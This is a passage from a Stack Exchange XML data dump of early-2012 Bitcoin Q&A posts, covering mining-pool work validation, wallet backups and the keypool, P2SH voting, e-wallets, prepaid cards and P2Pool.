blocks)&lt;/li&gt;&#xA;&lt;li&gt;the timestamp should be one you sent to the worker earlier (that you got from bitcoind), OR if you allow rollntime, it should be within the limits you accept&lt;/li&gt;&#xA;&lt;li&gt;nbits should be correct for the current difficulty (you get this too from bitcoind)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In short, the data miners send in should be the same work you sent them except for modifying the nonce. Additionally the timestamp can be modified if the server supports rollntime. You can read about rollntime and other getwork extensions here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it looks valid so far, hash the block.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the hash meets pool difficulty, credit the miner for the work&lt;/li&gt;&#xA;&lt;li&gt;If the hash meets bitcoin network difficulty, attempt to create a new bitcoin block&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note: If you get merkleroots you have never seen before from miners, it's probably from a different pool. There are some broken proxies and other software that grab work from one pool and send the result to a different pool.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-01-24T18:44:01.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2731" PostTypeId="2" ParentId="2689" CreationDate="2012-01-24T18:51:36.147" Score="2" Body="&lt;p&gt;You need to back up your wallet.dat regularly. If your pool uses &quot;getwork&quot; for generating work and later generating blocks, then each block is generated with a new crypto key. Also, when you send coins out to pay your miners, the &quot;change&quot; is always sent to a new address. So your bitcoind is always generating new crypto keys, and you must back them up so you don't lose any coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So any bitcoin service that sends coins or generates new blocks with &quot;getwork&quot; must back up wallet.dat regularly. A bitcoind that only receives coins can be backed up only once. A bitcoind that doesn't handle coins obviously needs no backup (rare case, but can be useful).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that, of course back up your database and anything else you don't want to lose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I just want to add that bitcoind has a pool of unused keys. It makes new keys when the pool runs out. Most of the time it just takes fresh keys from the pool - and you backed those up. So you don't have to run backups once per minute to be safe. If you want to do this the best way possible you could give bitcoind the &quot;keypoolrefill&quot; command (and wait for that to finish) before backing up wallet.dat. This way you always back up a full pool of unused keys, and the backup will &quot;last&quot; as long as possible. That is to say, it will take as long as possible before the pool runs out and bitcoind generates new keys for the pool that you don't have in the backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is some info on the key pool here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Key_pool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2: I'm actually unsure if &quot;keypoolrefill&quot; only has an effect if you resize the keypool. If you don't change the size of the pool, I think bitcoind generates a new key for the pool each time it takes a key out of it. Someone correct that if it's wrong.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2012-01-24T19:21:22.103" LastActivityDate="2012-01-24T19:21:22.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2732" PostTypeId="2" ParentId="2688" CreationDate="2012-01-24T19:09:26.507" Score="1" Body="&lt;p&gt;If you generate a new block with &quot;getwork&quot; then bitcoind will always use a new address each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you generate a new block with &quot;getmemorypool&quot;, then you decide. You can do whatever you want because you are creating the block data yourself. &quot;getmemorypool&quot; is new with bitcoind 0.5.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2012-01-24T19:09:26.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2733" PostTypeId="2" ParentId="2707" CreationDate="2012-01-24T19:13:31.353" Score="4" Body="&lt;p&gt;After a bit of mocking about with this problem, I figured the certificate files were in a wrong folder. As I was running Bitcoin on testnet, the directory in which it looks for certificates is different, than on the main net. On the other hand, it loads the Bitcoin.conf from the same place...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The folder bitcoin looks for the certificate in is the folder containing wallet.dat, which for testnet is in .bitcoin/testnet/ folder&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2012-07-18T11:18:18.323" LastActivityDate="2012-07-18T11:18:18.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2734" PostTypeId="1" AcceptedAnswerId="2767" CreationDate="2012-01-24T19:19:40.770" Score="6" ViewCount="466" Body="&lt;p&gt;Say someone wanted to be evil to the main client and set its wallet to contain one key, lock it, and then start mining. After the first block was generated, the client would traditionally create a new key to use for mining and store it in a wallet. However, as it doesn't have the password in memory, it can't encode the key. How would the client respond in this situation? Use an old key for generation, store the key unencrypted, or do something entirely different?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-27T02:16:44.337" Title="What happens when an encrypted wallet runs out of keys?" Tags="|wallet|bitcoin-core|bitcoind|encryption|keypool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2735" PostTypeId="2" ParentId="2729" CreationDate="2012-01-24T20:01:50.533" Score="3" Body="&lt;p&gt;The bitcoin.org client will allow you to spend coins after just &lt;strong&gt;one&lt;/strong&gt; confirmation has been received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin protocol has no restriction that would prohibit you from spending immediately (o/unconfirmed) so it simply would be up to the client supporting it.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The My Wallet from &lt;a href=&quot;http://www.blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;http://www.blockchain.info/wallet&lt;/a&gt;  supports spending immediately after receipt.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-01-24T20:01:50.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2736" PostTypeId="2" ParentId="2728" CreationDate="2012-01-24T20:37:10.493" Score="2" Body="&lt;p&gt;bitcoind 0.5.99-beta was running and my debug.log was 26MB.  After&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind stop&#xA;(wait 30 sec. or so for stop)&#xA;bitcoind -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;debug.log was 201KB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mac OS 10.6.7&lt;/p&gt;&#xA;" OwnerUserId="979" LastActivityDate="2012-01-24T20:37:10.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2737" PostTypeId="1" AcceptedAnswerId="2738" CreationDate="2012-01-24T20:47:02.570" Score="2" ViewCount="165" Body="&lt;p&gt;Is it possible to implement a subscription/recurring payment type using Bitcoin scripts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could send a payment for a service where there is a monthly subscription say, and each month if there was enough bitcoin in the paying address the required amount would be sent to the service provider. The time could be based on block number, which should correlate well with time, i.e. a monthly payment could be a payment every 4320 blocks.&lt;/p&gt;&#xA;" OwnerUserId="61" LastEditorUserId="5406" LastEditDate="2015-05-08T09:35:35.743" LastActivityDate="2015-05-08T09:35:35.743" Title="Will any of the proposed Scripts (OP_XXX) allow subscription/recurring type payments?" Tags="|protocol|script|recurring-payments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2738" PostTypeId="2" ParentId="2737" CreationDate="2012-01-24T21:18:29.227" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;In order to send someone Bitcoins, you need to sign a transaction with your private key.&lt;/li&gt;&#xA;&lt;li&gt;Each transaction on your set of coins refers to the previous transaction. It is possible to create a daisy chain of transactions like this, but if you'd perform any operation in between the start and the finish of such sets of payments, the remaining transactions would be invalidated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This makes it impossible under current model of transactions to perform such an operation. You could define a new OP that would allow one to redeem coins only after a certain amount of time, but then you'd be paying the full amount up front anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could, however, create a client that would be scheduling payments. But there is a problem - it is generally advised to keep your private keys encrypted, so nobody could steal your coins. A client can't sign a transaction with an encrypted key, so you'd have to be prompted for passwords every time. On the other hand, one could imagine a single address in a wallet to be kept unencrypted for such transactions. In the end though, it is not a matter of creating a new OP in the protocol, but new functionality in a client.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-24T21:18:29.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2739" PostTypeId="1" AcceptedAnswerId="2742" CreationDate="2012-01-25T09:23:24.413" Score="0" ViewCount="261" Body="&lt;p&gt;With regards to /P2SH/, is there even much point in voting with 500MHash or so of hashing power given that the chances of finding a block within the voting timeframe is incredibly slim? Not to mention that my vote will be shadowed out by miners with larger operations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the voting system unfair in this sense? Or if I want my vote to count for more should I just be piling on more MHash to show a greater support of the network? (as in, people with more MHash are entitled to more votes because they help support the network more than I do?)&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-03-31T10:29:41.863" LastActivityDate="2016-03-31T10:29:41.863" Title="Is there any point attempting to vote when my hash power is so marginal?" Tags="|mining-theory|voting|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2740" PostTypeId="1" AcceptedAnswerId="2741" CreationDate="2012-01-25T10:48:44.130" Score="5" ViewCount="161" Body="&lt;p&gt;Is it possible to include actual transaction history to new version of Bitcoin client?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, when someone new downloads a fresh version from &lt;a href=&quot;http://bitcoin.org&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is very hard to get more people into the Bitcoin community, when the start takes sooo looong.&#xA;(It looks like it never ends, like a bug.)&lt;/p&gt;&#xA;" OwnerUserId="982" LastEditorUserId="5406" LastEditDate="2014-02-09T09:31:48.280" LastActivityDate="2014-02-09T09:31:48.280" Title="Can the blockchain be included in future packages of the standard client?" Tags="|bitcoin-core|synchronization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2741" PostTypeId="2" ParentId="2740" CreationDate="2012-01-25T10:59:31.417" Score="3" Body="&lt;p&gt;You can download the transaction history separately (don't have the link on me currently). Adding it to the client would also be disencouraging - 1GB of a &quot;program&quot; doesn't appear too user-friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, one can use a lightweight client (like Multibit or Electrum), or an eWallet (like StrongCoin).&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="-1" LastEditDate="2012-01-25T21:37:22.700" LastActivityDate="2012-01-25T21:37:22.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2742" PostTypeId="2" ParentId="2739" CreationDate="2012-01-25T11:05:24.637" Score="4" Body="&lt;p&gt;You can still vote by supporting a pool voting in the same way as you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Voting is rather fair, as bigger pool operators have a bigger responsibility to their miners to keep the software up to date and operating according to their best interest. Thus mining in a pool is like voting for your representatives - you give your trust to them so they can work on benefiting you.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-25T11:05:24.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2743" PostTypeId="1" AcceptedAnswerId="2745" CreationDate="2012-01-25T11:38:15.247" Score="15" ViewCount="14473" Body="&lt;p&gt;Mt. Gox obviously allows you to send bitcoins to it, and to receive them to an address of your choice; hence I'm wondering if there is any reason &lt;em&gt;not&lt;/em&gt; to use it as an e-wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm mistaken, it's much bigger (by far) than any other bitcoin exchange, bank or proper e-wallet, so we can reasonably expect it being more secure, supported and safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why should I use a specialised e-wallet instead?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2014-02-25T17:27:04.350" Title="Pros and cons of using Mt. Gox as an e-wallet" Tags="|mtgox|e-wallet|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2744" PostTypeId="2" ParentId="2743" CreationDate="2012-01-25T13:30:46.337" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;Support for multiple accounts&lt;/li&gt;&#xA;&lt;li&gt;Being able to trace your coins on Block Explorer&lt;/li&gt;&#xA;&lt;li&gt;Tighter control (if eWallet allows for data encryption)&lt;/li&gt;&#xA;&lt;li&gt;Other bonus features that might be offered (email notifications, vanity address, etc.).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-01-25T13:30:46.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2745" PostTypeId="2" ParentId="2743" CreationDate="2012-01-25T13:33:03.960" Score="16" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Because Mt.Gox has to abide by anti money laundering laws they require at least some form of identification. Although this is a requirement for Fiat to Bitcoin conversion there is no need to link your normal bitcoin transactions to your Bank Account / Identity. Wallet services that deal solely with bitcoin do not need to comply with AML laws and hence require no identification or bank details.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mt.gox doesn't support many features that My Wallet does: Export private keys - Generate New Address - Unconfirmed transactions - Alerts - Multi Recipient Transactions - Paper Wallets - Labelling Addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even though Mt.gox is the largest and most trusted exchange you are still using them as a bank and are not in control of your own private keys. One of the key advantages of bitcoin is it allows you to be in control of your money without needing a third party. With the new javascript based wallet services your keys are encrypted and decrypted inside your own browser so you never share your keys with the server. Some trust is still required unless you use a paper wallet, but it is at least a happy medium.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Withdrawal limits.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No way to know if Mt.Gox actually has your funds and is not operating as a fractional reserve.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I am biased because I operate &lt;a href=&quot;https://blockchain.info/wallet/&quot;&gt;My Wallet&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="267" LastEditDate="2013-08-30T03:34:34.320" LastActivityDate="2013-08-30T03:34:34.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2746" PostTypeId="1" CreationDate="2012-01-25T13:50:49.867" Score="27" ViewCount="35016" Body="&lt;p&gt;I am looking for the cheapest Bitcoin to prepaid VISA/Mastercard service for the amount of $5000. I have noticed some with a maximum of $100, and inquired whether it would be possible to increase this cap. It is really not interesting to have to buy 50 cards, and ensure that one empties each of them. $1000 on each card is acceptable though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The card needs to work for purchases in any country.&lt;/p&gt;&#xA;" OwnerUserId="6" LastActivityDate="2014-03-05T23:36:27.967" Title="What is the cheapest Bitcoin -&gt; prepaid VISA/Mastercard service?" Tags="|visa|sell-bitcoins|" AnswerCount="8" CommentCount="0" ClosedDate="2014-03-09T10:40:40.240" ContentLicense="CC BY-SA 3.0" />
  <row Id="2748" PostTypeId="2" ParentId="2746" CreationDate="2012-01-25T21:13:10.090" Score="10" Body="&lt;p&gt;That's quite a lot of money to try to load onto a prepaid card and likely not something you'll find easily done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some options are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.okpay.com/en/services/debit-card/index.html&quot; rel=&quot;nofollow&quot;&gt;http://www.okpay.com/en/services/debit-card/index.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.aurumxchange.com/cards&quot; rel=&quot;nofollow&quot;&gt;https://www.aurumxchange.com/cards&lt;/a&gt; Expect to get their cards program &lt;a href=&quot;https://www.aurumxchange.com/cards&quot; rel=&quot;nofollow&quot;&gt;back soon&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With OKPay, you can reload using bitcoins, which OKPay will exchange into USDs for you (&lt;a href=&quot;http://okpay.com/ms/services/fees-e-currency.html&quot; rel=&quot;nofollow&quot;&gt;the cost of this was just reduced from 5% to 2.5% of transfered amount&lt;/a&gt;). &#xA;With AurumXChange, you can reload using USDs from Mt. Gox codes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For that amount though you'll probably be best arranging trades with some buyers willing to exchange Moneypak to you.  For instance, on the #bitcoin-otc there often times are traders looking for BTC and for larger amounts will go out and buy a MoneyPak to do the trade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load a number of different prepaid cards with MoneyPak, up to $1,000 each.  See the Prepaid Cards section for the list: &lt;a href=&quot;https://www.moneypak.com/WhoAccepts.aspx&quot; rel=&quot;nofollow&quot;&gt;https://www.moneypak.com/WhoAccepts.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Along the same lines, you might find a trader that would deposit cash at Western Union to reload a Western Union prepaid card.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2013-11-28T21:18:40.953" LastActivityDate="2013-11-28T21:18:40.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2749" PostTypeId="1" AcceptedAnswerId="2750" CreationDate="2012-01-25T23:50:37.607" Score="10" ViewCount="2776" Body="&lt;p&gt;Reading &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2595/what-are-the-implications-of-bip-12-vs-bip-16-and-op-codehashcheck&quot;&gt;this question&lt;/a&gt; and looking in the bitcointalk forums at the related discussion, there seems to be some kind of miner vote being done on whether a change will be implemented in the bitcoin protocol. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to discuss the adding of a function which could allow clients to have restrictions on receiving coins. (Is this it? If so, it would answer Q1. below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following things were beyond my understanding though, or difficult to find:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An explanation in laymens terms of what the potential change achieved&lt;/li&gt;&#xA;&lt;li&gt;Why the change is desirable&lt;/li&gt;&#xA;&lt;li&gt;When the voting is taking place&lt;/li&gt;&#xA;&lt;li&gt;What the vote is actually for (is it just yes/no, or are there more options?)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/2695/how-can-one-know-which-way-mining-pools-will-vote-for-p2sh&quot;&gt;this question&lt;/a&gt; addresses the question of which mining pools are voting yay or nay, though it doesn't seem to have an answer yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is done as part of the work of the bitcoin.org developers, I found it a bit strange that nothing seemed to be mentioned on the bitcoin.org site about it (I checked the news and the FAQ). I suppose that it is more of a miner issue though...&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2016-03-07T10:31:06.883" Title="What is an explanation of the P2SH voting in layman's terms?" Tags="|mining-pools|development|protocol|p2sh|voting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2750" PostTypeId="2" ParentId="2749" CreationDate="2012-01-26T04:20:13.547" Score="11" Body="&lt;p&gt;The answers to your questions, in order:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The fee paid for a transaction is determined by the size of a transaction.  Currently, if you want to do fancy things with bitcoins, you need to put a script in the transaction that &lt;em&gt;sends&lt;/em&gt; them -- each output includes a script giving the conditions under which it may be used as an input.  &lt;strong&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0012&quot;&gt;OP_EVAL&lt;/a&gt;, &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot;&gt;p2sh&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0017&quot;&gt;CHV (check-hash-verify)&lt;/a&gt; all provide ways of putting the script in the transaction that &lt;em&gt;receives&lt;/em&gt; the coins&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;This lets you have coins sent to you and do arbitrarily complicated things with them without imposing a fee burden on the sender.&lt;/strong&gt;  The coins are yours once they're sent, but you'll have to pay the fee the next time you try to do anything with them (no free lunch here...).  The most important use-case here is to have wallets from which you can spend coins only by using two different devices (for example, both your laptop and your cellphone).  Even if both devices are &quot;virus infested&quot; it's highly unlikely that any single malicious entity has compromised &lt;strong&gt;&lt;em&gt;both&lt;/em&gt;&lt;/strong&gt; of your devices.  The hope is that this will put an end to the rash of coin thefts, or at least make it much harder for botnet operators to steal coins from the people who own the machines they've taken over.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The voting takes place during the blocks found during &lt;strong&gt;&lt;em&gt;the seven days preceding&lt;/em&gt;&lt;/strong&gt; 01-Feb-2012.  No timezone was specified.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The original vote was &quot;yes/abstain&quot;.  Gavin put code into the &quot;master&quot; branch of the bitcoin client that would cause anybody who upgraded to the latest version to automatically vote &quot;yes&quot;.  This angered some people, who added a new option for a &quot;no&quot; vote.  However, what really matters is whether or not 50+X% vote &quot;yes&quot; -- an &quot;abstain&quot; counts as a &quot;no&quot; vote for the purposes that matter.  &lt;strong&gt;If a minority of the hashpower were to enable p2sh a single malicious user could cause a permanent blockchain split, so it's important that this not be enabled until we are dead certain that a comfortable majority of the hashpower is on board.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Most of the controversy is over how quickly this proposal was put together and rushed through the approval process.&lt;/strong&gt;  The general idea, and the predecessor (OP_EVAL) have been around for a while, but this latest incarnation is very new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, at the moment the mining code in the bitcoin client has a funny concept of a &quot;standard&quot; transaction which is not part of the bitcoin protocol at all -- it's just a gentleman's convention by which some (but not all) mining pools voluntarily choose to omit transactions that use advanced bitcoin features -- if you want to use those advanced features you have to wait longer since there's only one big pool (and several small ones) that will take them (once mined into the chain, however, all clients respect these transactions -- it's just a question of getting them into the chain).  &lt;strong&gt;The p2sh specification forces the &quot;standardness&quot; concept to become part of the protocol -- miners will be forced to use transaction templates whether they want to or not.&lt;/strong&gt;  Many consider this to be infringing on the miners' jurisdiction.  Others consider it an affront to aesthetics and an invitation to headaches in the future.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="563" LastEditDate="2012-01-26T04:37:57.433" LastActivityDate="2012-01-26T04:37:57.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2751" PostTypeId="1" CreationDate="2012-01-26T04:52:36.940" Score="6" ViewCount="358" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0012&quot; rel=&quot;nofollow noreferrer&quot;&gt;OP_EVAL BIP&lt;/a&gt; says that &quot;Avoiding a block-chain split by malicious OP_EVAL transactions requires careful handling of two cases:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;An OP_EVAL transaction that is invalid for new clients/miners but valid for old clients/miners.&lt;/li&gt;&#xA;&lt;li&gt;An OP_EVAL transaction that is valid for new clients/miners but invalid for old clients/miners&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The later &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0016&quot; rel=&quot;nofollow noreferrer&quot;&gt;p2sh&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/BIP_0017&quot; rel=&quot;nofollow noreferrer&quot;&gt;CHV&lt;/a&gt; BIPS list only condition (1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sounds to me backward compatibility (avoiding situation 1) is more important than forward compatibility (avoiding condition 2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question: what would be the disadvantage of making OP_EVAL/p2sh/CHV a totally new opcode, so that any &quot;old client&quot; would immediately reject any transaction using the new opcode?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would ensure that situation 1 never happens since all OP_EVAL/p2sh/CHV transactions are invalid for old clients/miners.  Old clients/miners would reject new transactions they haven't been taught about, which is pretty much what you expect to happen when you upgrade your software -- old software might not be able to read data files created by newer software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might say &quot;well, then we have to force all the clients to upgrade instead of just the miners&quot;... but the alternative is basically transferring trust from the clients to the miners, so avoiding a client upgrade doesn't come &quot;for free&quot; even though it might seem like it at first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now the clients do all their own validity checking of the blockchain and do not rely on the miners' validity checks at all.  If 75% of the hashpower &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1278/do-miners-have-both-the-incentive-and-ability-to-keep-the-reward-at-50btc&quot;&gt;decided to change the validity rules&lt;/a&gt; they couldn't -- the clients don't rely on their checks.  The clients (exchanges included!) would promptly proceed to ignore the mutinying miners.  But &lt;strong&gt;OP_EVAL/p2sh/CHV end that clear separation: with &quot;forward compatibility&quot; we are asking people who use these new transactions to consent to a state of affairs in which old clients receiving coins from them will (unknowingly) transfer validity-check responsibility to the mining pool.&lt;/strong&gt;  Nobody seems to be talking about that.&lt;/p&gt;&#xA;" OwnerUserId="563" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-05-26T03:18:45.023" Title="Why are p2sh and CHV forward-compatible but not backward-compatible?" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2752" PostTypeId="1" AcceptedAnswerId="2758" CreationDate="2012-01-26T10:28:40.293" Score="10" ViewCount="4434" Body="&lt;p&gt;Besides the initial time investment of downloading &amp;amp; learning how to use a new tool ... what are some more reasons for a rational not to switch to P2Pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Some reasons to switch is a slightly higher payoff in P2Pool due to bonus donations, and the overall contribution to a more distributed Bitcoin network).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is running P2Pool more maintenance than using one of the larger pools? Is it more buggy, or has a lower total hashrate and thus higher variance?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="2306" LastEditDate="2016-03-09T17:07:08.763" LastActivityDate="2016-03-09T17:07:08.763" Title="What are some reasons that a rational miner won't switch to P2Pool?" Tags="|mining-pools|p2pool|mining-software|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2753" PostTypeId="2" ParentId="2566" CreationDate="2012-01-26T12:12:14.430" Score="5" Body="&lt;p&gt;The simple answer is that it is the price at which a seller and a buyer of the currency agreed on a price for it; i.e. the price at which the market clears.  The sold currency is, after all, a commodity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may help you to strip away any superfluous notions to think of it as a pound of coffee or somesuch.  Seller Sally has coffee but wants dollars.  Buyer Bob has dollars and wants coffee.  Sally will not part with her coffee for less than $4.  And Bob will not buy coffee for more than $3 dollars.  The market fails to clear at these prices.  A new seller, Sam enters the market and is willing to sell his coffee for $3.50.  And a new buyer, Bill, enters and is willing to buy coffee for $3.50.  Sam and Bill exchange coffee for dollars.  This fact is published to the rest of the market participants; who are thereby able to conclude that at some point in the recent past that two participants were able to transact at the price of $3.50.  As an entrant to the market, are you guaranteed to find another buyer or seller at that price?  No.  But it's a useful piece of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want to know how this -- and economy in general -- works, you'll have to do a little reading.  As a start, I recommend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Murray Rothbard, &lt;em&gt;Man, Economy, and State&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mises.org/rothbard/mes.asp&quot; rel=&quot;noreferrer&quot;&gt;http://mises.org/rothbard/mes.asp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ludwig von Mises, &lt;em&gt;The Theory of Money and Credit&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mises.org/books/Theory_Money_Credit/Contents.aspx&quot; rel=&quot;noreferrer&quot;&gt;http://mises.org/books/Theory_Money_Credit/Contents.aspx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2012-01-26T12:12:14.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
